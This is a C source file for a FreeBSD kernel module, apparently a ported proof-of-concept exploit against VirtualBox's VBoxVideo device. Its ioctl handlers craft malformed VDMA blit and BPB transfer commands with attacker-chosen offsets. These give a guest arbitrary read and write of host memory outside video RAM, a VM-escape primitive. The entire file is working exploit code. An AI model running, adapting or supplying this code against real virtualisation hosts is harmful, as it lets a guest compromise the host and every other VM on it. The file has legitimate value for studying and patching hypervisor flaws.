| /*- |
| * Copyright 2015-2018 Rivoreo |
| * Copyright 2006-2015 Oracle Corporation |
| * |
| * This program is free software; you can redistribute it and/or modify |
| * it under the terms of the GNU General Public License as published by |
| * the Free Software Foundation; either version 2 of the License, or |
| * (at your option) any later version. |
| * |
| * This program is distributed in the hope that it will be useful, |
| * but WITHOUT ANY WARRANTY; without even the implied warranty of |
| * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
| * GNU General Public License for more details. |
| */ |
| |
| /* This PoC is ported from the Linux version made by SecuriTeam */ |
| |
| #include <sys/cdefs.h> |
| #include <sys/param.h> |
| #include <sys/systm.h> |
| #include <sys/conf.h> |
| #include <sys/bus.h> |
| #include <sys/uio.h> |
| #include <sys/kernel.h> |
| #include <sys/module.h> |
| #include <sys/filio.h> |
| #include <sys/malloc.h> |
| #include <sys/rman.h> |
| #include <dev/pci/pcireg.h> |
| #include <dev/pci/pcivar.h> |
| #include <vm/vm.h> |
| #include <vm/pmap.h> |
| |
| #include "pwn.h" |
| |
| #include <VBox/VBoxVideoGuest.h> |
| |
| /* |
| static char *_strchr(const char *p, int ch) { |
| union { |
| const char *cp; |
| char *p; |
| } u; |
| |
| u.cp = p; |
| while(1) { |
| if (*u.p == ch) |
| return(u.p); |
| if (*u.p == '\0') |
| return(NULL); |
| u.p++; |
| } |
| } |
| #define strchr _strchr |
| */ |
| |
| MALLOC_DEFINE(M_VBOXPWN, "vbox-private-data", "Buffers to VBoxVideo private data"); |
| |
| static device_t pci_dev; |
| static struct resource *pci_dev_resource; |
| |
| /* For use with destroy_dev(9). */ |
| static struct cdev *vboxpwn_dev; |
| static d_ioctl_t vboxpwn_ioctl; |
| |
| static struct cdevsw vboxpwn_cdevsw = { |
| .d_version = D_VERSION, |
| .d_ioctl = vboxpwn_ioctl, |
| .d_name = "vboxpwn", |
| }; |
| |
| static char *g_vram_virtual; |
| |
| typedef struct { |
| uint16_t fFlags; |
| uint16_t cbBuf; |
| /* RT_SUCCESS() - on success |
| * VERR_INTERRUPTED - on preemption |
| * VERR_xxx - on error */ |
| int32_t rc; |
| union { |
| uint64_t phBuf; |
| VBOXVIDEOOFFSET offVramBuf; |
| } Location; |
| uint64_t aGuestData[7]; |
| } VBOXVDMACBUF_DR; |
| |
| typedef struct { |
| VBOXVDMACMD_TYPE enmType; |
| uint32_t u32CmdSpecific; |
| } VBOXVDMACMD; |
| |
| typedef struct { |
| uint32_t cbTransferSize; |
| uint32_t fFlags; |
| union { |
| uint64_t phBuf; |
| VBOXVIDEOOFFSET offVramBuf; |
| } Src; |
| union { |
| uint64_t phBuf; |
| VBOXVIDEOOFFSET offVramBuf; |
| } Dst; |
| } VBOXVDMACMD_DMA_BPB_TRANSFER; |
| |
| typedef enum { |
| VBOXVDMA_PIXEL_FORMAT_UNKNOWN = 0, |
| VBOXVDMA_PIXEL_FORMAT_R8G8B8 = 20, |
| VBOXVDMA_PIXEL_FORMAT_A8R8G8B8 = 21, |
| VBOXVDMA_PIXEL_FORMAT_X8R8G8B8 = 22, |
| VBOXVDMA_PIXEL_FORMAT_R5G6B5 = 23, |
| VBOXVDMA_PIXEL_FORMAT_X1R5G5B5 = 24, |
| VBOXVDMA_PIXEL_FORMAT_A1R5G5B5 = 25, |
| VBOXVDMA_PIXEL_FORMAT_A4R4G4B4 = 26, |
| VBOXVDMA_PIXEL_FORMAT_R3G3B2 = 27, |
| VBOXVDMA_PIXEL_FORMAT_A8 = 28, |
| VBOXVDMA_PIXEL_FORMAT_A8R3G3B2 = 29, |
| VBOXVDMA_PIXEL_FORMAT_X4R4G4B4 = 30, |
| VBOXVDMA_PIXEL_FORMAT_A2B10G10R10 = 31, |
| VBOXVDMA_PIXEL_FORMAT_A8B8G8R8 = 32, |
| VBOXVDMA_PIXEL_FORMAT_X8B8G8R8 = 33, |
| VBOXVDMA_PIXEL_FORMAT_G16R16 = 34, |
| VBOXVDMA_PIXEL_FORMAT_A2R10G10B10 = 35, |
| VBOXVDMA_PIXEL_FORMAT_A16B16G16R16 = 36, |
| VBOXVDMA_PIXEL_FORMAT_A8P8 = 40, |
| VBOXVDMA_PIXEL_FORMAT_P8 = 41, |
| VBOXVDMA_PIXEL_FORMAT_L8 = 50, |
| VBOXVDMA_PIXEL_FORMAT_A8L8 = 51, |
| VBOXVDMA_PIXEL_FORMAT_A4L4 = 52, |
| VBOXVDMA_PIXEL_FORMAT_V8U8 = 60, |
| VBOXVDMA_PIXEL_FORMAT_L6V5U5 = 61, |
| VBOXVDMA_PIXEL_FORMAT_X8L8V8U8 = 62, |
| VBOXVDMA_PIXEL_FORMAT_Q8W8V8U8 = 63, |
| VBOXVDMA_PIXEL_FORMAT_V16U16 = 64, |
| VBOXVDMA_PIXEL_FORMAT_W11V11U10 = 65, |
| VBOXVDMA_PIXEL_FORMAT_A2W10V10U10 = 67 |
| } VBOXVDMA_PIXEL_FORMAT; |
| |
| typedef struct { |
| uint32_t width; |
| uint32_t height; |
| VBOXVDMA_PIXEL_FORMAT format; |
| uint32_t bpp; |
| uint32_t pitch; |
| uint32_t fFlags; |
| } VBOXVDMA_SURF_DESC; |
| |
| typedef struct { |
| int16_t left; |
| int16_t top; |
| uint16_t width; |
| uint16_t height; |
| } VBOXVDMA_RECTL; |
| |
| typedef struct { |
| VBOXVIDEOOFFSET offSrc; |
| VBOXVIDEOOFFSET offDst; |
| VBOXVDMA_SURF_DESC srcDesc; |
| VBOXVDMA_SURF_DESC dstDesc; |
| VBOXVDMA_RECTL srcRectl; |
| VBOXVDMA_RECTL dstRectl; |
| uint32_t u32Reserved; |
| uint32_t cDstSubRects; |
| VBOXVDMA_RECTL aDstSubRects[1]; |
| } VBOXVDMACMD_DMA_PRESENT_BLT; |
| |
| extern HGSMIGUESTCOMMANDCONTEXT *g_hgsmi_context; |
| |
| static int vdma_read(struct pwn_request *req) { |
| uint32_t header_size = 32 + sizeof(VBOXVDMACBUF_DR) + sizeof(VBOXVDMACMD) + sizeof(VBOXVDMACMD_DMA_PRESENT_BLT); |
| char *p = (char *)VBoxHGSMIBufferAlloc(g_hgsmi_context, |
| header_size + req->size, |
| HGSMI_CH_VBVA, |
| 11 /*VBVA_VDMA_CMD*/); |
| if(!p) { |
| printf("Failed to allocate HGSMI memory\n"); |
| return ENOMEM; |
| } |
| |
| memset(p + header_size, 0x41, req->size); |
| |
| VBOXVDMACBUF_DR *pCmd = (VBOXVDMACBUF_DR *)(p + 32); |
| pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/; |
| pCmd->cbBuf = 0xffff; |
| |
| VBOXVDMACMD *pDmaCmd = (VBOXVDMACMD *)((char *)pCmd + sizeof(VBOXVDMACBUF_DR)); |
| pDmaCmd->enmType = 1 /* VBOXVDMACMD_TYPE_DMA_PRESENT_BLT */; |
| |
| VBOXVDMACMD_DMA_PRESENT_BLT *pBlt = (VBOXVDMACMD_DMA_PRESENT_BLT *)((char *)pDmaCmd + sizeof(VBOXVDMACMD)); |
| pBlt->cDstSubRects = 0; |
| pBlt->offSrc = req->offset; |
| pBlt->offDst = p - g_vram_virtual + header_size; |
| |
| pBlt->srcRectl.width = 1; |
| pBlt->srcRectl.height = req->size; |
| pBlt->srcRectl.left = 0; |
| pBlt->srcRectl.top = 0; |
| |
| pBlt->dstRectl.width = 1; |
| pBlt->dstRectl.height = req->size; |
| pBlt->dstRectl.left = 0; |
| pBlt->dstRectl.top = 0; |
| |
| pBlt->srcDesc.width = 1; |
| pBlt->srcDesc.height = req->size; |
| pBlt->srcDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/; |
| pBlt->srcDesc.bpp = 1; |
| pBlt->srcDesc.pitch = 1; |
| pBlt->srcDesc.fFlags = 0; |
| |
| pBlt->dstDesc.width = 1; |
| pBlt->dstDesc.height = req->size; |
| pBlt->dstDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/; |
| pBlt->dstDesc.bpp = 1; |
| pBlt->dstDesc.pitch = 1; |
| pBlt->dstDesc.fFlags = 0; |
| |
| int rc = VBoxHGSMIBufferSubmit(g_hgsmi_context, p); |
| //memcpy(req->data, p+header_size, req->size); |
| copyout(p + header_size, req->data, req->size); |
| VBoxHGSMIBufferFree(g_hgsmi_context, p); |
| if(RT_FAILURE(rc)) { |
| printf("Error while sending VMDA command: %d\n", rc); |
| return EFAULT; |
| } |
| return 0; |
| } |
| |
| static int vdma_write(struct pwn_request *req) { |
| uint32_t header_size = 32 + sizeof(VBOXVDMACBUF_DR) + sizeof(VBOXVDMACMD) + sizeof(VBOXVDMACMD_DMA_PRESENT_BLT); |
| char *p = (char *)VBoxHGSMIBufferAlloc(g_hgsmi_context, |
| header_size + req->size, |
| HGSMI_CH_VBVA, |
| 11 /*VBVA_VDMA_CMD*/); |
| if(!p) { |
| printf("Failed to allocate HGSMI memory\n"); |
| return ENOMEM; |
| } |
| |
| //memcpy(p + header_size, req->data, req->size); |
| copyin(req->data, p + header_size, req->size); |
| |
| VBOXVDMACBUF_DR *pCmd = (VBOXVDMACBUF_DR *)(p + 32); |
| pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/; |
| pCmd->cbBuf = 0xffff; |
| |
| VBOXVDMACMD *pDmaCmd = (VBOXVDMACMD *)((char *)pCmd + sizeof(VBOXVDMACBUF_DR)); |
| pDmaCmd->enmType = 1 /* VBOXVDMACMD_TYPE_DMA_PRESENT_BLT */; |
| |
| VBOXVDMACMD_DMA_PRESENT_BLT *pBlt = (VBOXVDMACMD_DMA_PRESENT_BLT *)((char *)pDmaCmd + sizeof(VBOXVDMACMD)); |
| pBlt->cDstSubRects = 0; |
| pBlt->offSrc = p - g_vram_virtual + header_size; |
| pBlt->offDst = req->offset; |
| |
| pBlt->srcRectl.width = 1; |
| pBlt->srcRectl.height = req->size; |
| pBlt->srcRectl.left = 0; |
| pBlt->srcRectl.top = 0; |
| |
| pBlt->dstRectl.width = 1; |
| pBlt->dstRectl.height = req->size; |
| pBlt->dstRectl.left = 0; |
| pBlt->dstRectl.top = 0; |
| |
| pBlt->srcDesc.width = 1; |
| pBlt->srcDesc.height = req->size; |
| pBlt->srcDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/; |
| pBlt->srcDesc.bpp = 1; |
| pBlt->srcDesc.pitch = 1; |
| pBlt->srcDesc.fFlags = 0; |
| |
| pBlt->dstDesc.width = 1; |
| pBlt->dstDesc.height = req->size; |
| pBlt->dstDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/; |
| pBlt->dstDesc.bpp = 1; |
| pBlt->dstDesc.pitch = 1; |
| pBlt->dstDesc.fFlags = 0; |
| |
| int rc = VBoxHGSMIBufferSubmit(g_hgsmi_context, p); |
| VBoxHGSMIBufferFree(g_hgsmi_context, p); |
| if (RT_FAILURE(rc)) { |
| printf("Error while sending VMDA command: %d\n", rc); |
| return EFAULT; |
| } |
| |
| return 0; |
| } |
| |
| static int vbva_command(struct pwn_request *req) { |
| char *p = (char *)VBoxHGSMIBufferAlloc(g_hgsmi_context, |
| req->size, |
| HGSMI_CH_VBVA, |
| req->offset); |
| if(!p) { |
| printf("Failed to allocate HGSMI memory\n"); |
| return ENOMEM; |
| } |
| |
| //memcpy(p, req->data, req->size); |
| copyin(req->data, p, req->size); |
| |
| int rc = VBoxHGSMIBufferSubmit(g_hgsmi_context, p); |
| VBoxHGSMIBufferFree(g_hgsmi_context, p); |
| if (RT_FAILURE(rc)) { |
| printf("Error while sending VBVA command: %d\n", rc); |
| return EFAULT; |
| } |
| return 0; |
| } |
| |
| static int vdma_bpb_transfer_read(struct pwn_request *req) { |
| uint32_t header_size = 32 + sizeof(VBOXVDMACBUF_DR) + sizeof(VBOXVDMACMD) + sizeof(VBOXVDMACMD_DMA_PRESENT_BLT); |
| char *p = (char *)VBoxHGSMIBufferAlloc(g_hgsmi_context, |
| header_size + req->size, |
| HGSMI_CH_VBVA, |
| 11 /*VBVA_VDMA_CMD*/); |
| if(!p) { |
| printf("Failed to allocate HGSMI memory\n"); |
| return ENOMEM; |
| } |
| |
| memset(p + header_size, 0x41, req->size); |
| |
| VBOXVDMACBUF_DR *pCmd = (VBOXVDMACBUF_DR *)(p + 32); |
| pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/; |
| pCmd->cbBuf = 0xffff; |
| |
| VBOXVDMACMD *pDmaCmd = (VBOXVDMACMD *)((char *)pCmd + sizeof(VBOXVDMACBUF_DR)); |
| pDmaCmd->enmType = 2 /* VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER */; |
| |
| VBOXVDMACMD_DMA_BPB_TRANSFER *pBpb = (VBOXVDMACMD_DMA_BPB_TRANSFER *)((char *)pDmaCmd + sizeof(VBOXVDMACMD)); |
| pBpb->cbTransferSize = req->size; |
| pBpb->fFlags = 3; |
| pBpb->Src.offVramBuf = req->offset; |
| pBpb->Dst.offVramBuf = p - g_vram_virtual + header_size; |
| |
| int rc = VBoxHGSMIBufferSubmit(g_hgsmi_context, p); |
| //memcpy(req->data, p + header_size, req->size); |
| copyout(p + header_size, req->data, req->size); |
| VBoxHGSMIBufferFree(g_hgsmi_context, p); |
| if (RT_FAILURE(rc)) { |
| printf("Error while sending VDMA command: %d\n", rc); |
| return EFAULT; |
| } |
| |
| return 0; |
| } |
| |
| static int vdma_bpb_transfer_write(struct pwn_request *req) { |
| uint32_t header_size = 32 + sizeof(VBOXVDMACBUF_DR) + sizeof(VBOXVDMACMD) + sizeof(VBOXVDMACMD_DMA_PRESENT_BLT); |
| char *p = (char *)VBoxHGSMIBufferAlloc(g_hgsmi_context, |
| header_size + req->size, |
| HGSMI_CH_VBVA, |
| 11 /*VBVA_VDMA_CMD*/); |
| if(!p) { |
| printf("Failed to allocate HGSMI memory\n"); |
| return ENOMEM; |
| } |
| |
| //memcpy(p + header_size, req->data, req->size); |
| copyin(req->data, p + header_size, req->size); |
| |
| VBOXVDMACBUF_DR *pCmd = (VBOXVDMACBUF_DR *)(p + 32); |
| pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/; |
| pCmd->cbBuf = 0xffff; |
| |
| VBOXVDMACMD *pDmaCmd = (VBOXVDMACMD *)((char *)pCmd + sizeof(VBOXVDMACBUF_DR)); |
| pDmaCmd->enmType = 2 /* VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER */; |
| |
| VBOXVDMACMD_DMA_BPB_TRANSFER *pBpb = (VBOXVDMACMD_DMA_BPB_TRANSFER *)((char *)pDmaCmd + sizeof(VBOXVDMACMD)); |
| pBpb->cbTransferSize = req->size; |
| pBpb->fFlags = 3; |
| pBpb->Dst.offVramBuf = req->offset; |
| pBpb->Src.offVramBuf = p - g_vram_virtual + header_size; |
| |
| int rc = VBoxHGSMIBufferSubmit(g_hgsmi_context, p); |
| VBoxHGSMIBufferFree(g_hgsmi_context, p); |
| if (RT_FAILURE(rc)) { |
| printf("Error while sending VDMA command: %d\n", rc); |
| return EFAULT; |
| } |
| return 0; |
| } |
| |
| static int vboxpwn_ioctl(struct cdev *dev __unused, u_long cmd, caddr_t data, int flags __unused, struct thread *td __unused) |
| { |
| //printf("function: vboxpwn_ioctl(unused, %u, %p, unused, unused)\n", (unsigned int)cmd, data); |
| //uint32_t vram_size; |
| switch(cmd) { |
| case IOCTL_VBOX_PWN_VDMA_READ: |
| return vdma_read((struct pwn_request *)data); |
| case IOCTL_VBOX_PWN_VDMA_WRITE: |
| return vdma_write((struct pwn_request *)data); |
| case IOCTL_VBOX_PWN_VBVA_COMMAND: |
| return vbva_command((struct pwn_request *)data); |
| case IOCTL_VBOX_PWN_VDMA_BPB_TRANSFER_READ: |
| return vdma_bpb_transfer_read((struct pwn_request *)data); |
| case IOCTL_VBOX_PWN_VDMA_BPB_TRANSFER_WRITE: |
| return vdma_bpb_transfer_write((struct pwn_request *)data); |
| case IOCTL_VBOX_PWN_GET_VRAM_SIZE: |
| //vram_size = inl(VBE_DISPI_IOPORT_DATA); |
| //memcpy(data, &vram_size, sizeof vram_size); |
| //*(uint32_t *)data = inl(VBE_DISPI_IOPORT_DATA); |
| *(uint32_t *)data = VBoxVideoGetVRAMSize(); |
| return 0; |
| } |
| printf("Unknown request type 0x%lx\n", cmd); |
| return EINVAL; |
| } |
| |
| struct vbox_private { |
| void *mapped_vram; |
| HGSMIGUESTCOMMANDCONTEXT submit_info; |
| /** Amount of available VRAM, including space used for buffers. */ |
| uint32_t full_vram_size; |
| /** Amount of available VRAM, not including space used for buffers. */ |
| uint32_t available_vram_size; |
| /** Offset of mapped VRAM area in full VRAM. */ |
| uint32_t vram_map_start; |
| /** Offset to the host flags in the VRAM. */ |
| uint32_t host_flags_offset; |
| }; |
| |
| /** Allocation function for the HGSMI heap and data. */ |
| static DECLCALLBACK(void *) alloc_hgsmi_environ(void *environ, HGSMISIZE size) { |
| NOREF(environ); |
| return malloc(size, M_VBOXPWN, M_WAITOK); |
| } |
| |
| /** Free function for the HGSMI heap and data. */ |
| static DECLCALLBACK(void) free_hgsmi_environ(void *environ, void *ptr) { |
| NOREF(environ); |
| free(ptr, M_VBOXPWN); |
| } |
| |
| /** Pointers to the HGSMI heap and data manipulation functions. */ |
| static HGSMIENV hgsmi_environ = { |
| NULL, alloc_hgsmi_environ, free_hgsmi_environ |
| }; |
| |
| static int vbox_hw_init(struct vbox_private *vbox) { |
| uint32_t base_offset, map_start, guest_heap_offset, guest_heap_size, host_flags_offset; |
| void *guest_heap; |
| //uint32_t vram_size = VBoxVideoGetVRAMSize(); |
| vbox->full_vram_size = VBoxVideoGetVRAMSize(); |
| printf("vboxvideo: VRAM: %u (0x%x)\n", vbox->full_vram_size, vbox->full_vram_size); |
| VBoxHGSMIGetBaseMappingInfo(vbox->full_vram_size, &base_offset, NULL, |
| &guest_heap_offset, &guest_heap_size, &host_flags_offset); |
| printf("vboxvideo: base_offset = 0x%x, guest_heap_offset = 0x%x, guest_heap_size = 0x%x, host_flags_offset = 0x%x\n", |
| base_offset, guest_heap_offset, guest_heap_size, host_flags_offset); |
| map_start = (uint32_t)max((int)base_offset - VBOX_MAX_SCREENS * VBVA_MIN_BUFFER_SIZE, 0); |
| printf("vboxvideo: map_start = 0x%x\n", map_start); |
| #if 1 |
| uint32_t physical_offset = rman_get_start(pci_dev_resource) + map_start; |
| //printf("vboxvideo: physical_offset = 0x%x\n", physical_offset); |
| vbox->mapped_vram = pmap_mapdev(physical_offset, vbox->full_vram_size - map_start); |
| if(!vbox->mapped_vram) return ENOMEM; |
| #else |
| vbox->mapped_vram = (char *)rman_get_virtual(pci_dev_resource) + map_start; |
| #endif |
| printf("vboxvideo: mapped_vram = %p\n", vbox->mapped_vram); |
| g_vram_virtual = ((char *)vbox->mapped_vram) - map_start; |
| guest_heap = ((char *)vbox->mapped_vram) + base_offset - map_start + guest_heap_offset; |
| printf("vboxvideo: guest_heap = %p\n", guest_heap); |
| vbox->host_flags_offset = base_offset - map_start + host_flags_offset; |
| //printf("vboxvideo: host_flags_offset = 0x%x\n", vbox->host_flags_offset); |
| if(RT_FAILURE(VBoxHGSMISetupGuestContext(&vbox->submit_info, guest_heap, guest_heap_size, |
| base_offset + guest_heap_offset, &hgsmi_environ))) return ENOMEM; |
| vbox->available_vram_size = base_offset; |
| return 0; |
| } |
| |
| static void vbox_hw_fini(struct vbox_private *vbox) { |
| VBoxHGSMIDestroyGuestContext(&vbox->submit_info); |
| } |
| |
| static int vboxpwn_modevent(module_t mod __unused, int type, void *data __unused) { |
| static struct vbox_private *vbox; |
| static int bar_id; |
| int e; |
| printf("function: vboxpwn_modevent(unused, %d, unused)\n", type); |
| switch(type) { |
| case MOD_LOAD: |
| pci_dev = pci_find_device(0x80ee, 0xbeef); |
| if(!pci_dev) return ENODEV; |
| if(!VBoxHGSMIIsSupported()) return ENODEV; |
| bar_id = PCIR_BAR(0); |
| pci_dev_resource = bus_alloc_resource_any(pci_dev, SYS_RES_MEMORY, &bar_id, RF_ACTIVE); |
| if(!pci_dev_resource) return ENXIO; |
| vbox = malloc(sizeof(struct vbox_private), M_VBOXPWN, M_WAITOK | M_ZERO); |
| e = vbox_hw_init(vbox); |
| //printf("e = %d\n", e); |
| if(e) return e; |
| vboxpwn_dev = make_dev(&vboxpwn_cdevsw, 0, UID_ROOT, GID_WHEEL, 0600, "vboxpwn"); |
| printf("vboxpwn_dev = %p\n", vboxpwn_dev); |
| break; |
| |
| case MOD_UNLOAD: |
| destroy_dev(vboxpwn_dev); |
| vbox_hw_fini(vbox); |
| free(vbox, M_VBOXPWN); |
| bus_release_resource(pci_dev, SYS_RES_MEMORY, bar_id, pci_dev_resource); |
| break; |
| |
| case MOD_SHUTDOWN: |
| break; |
| |
| default: |
| return (EOPNOTSUPP); |
| } |
| |
| return (0); |
| } |
| |
| DEV_MODULE(vboxvideoexploit, vboxpwn_modevent, NULL); |
| MODULE_DEPEND(vboxvideoexploit, pci, 1, 1, 1); |
| MODULE_VERSION(vboxvideoexploit, 1); |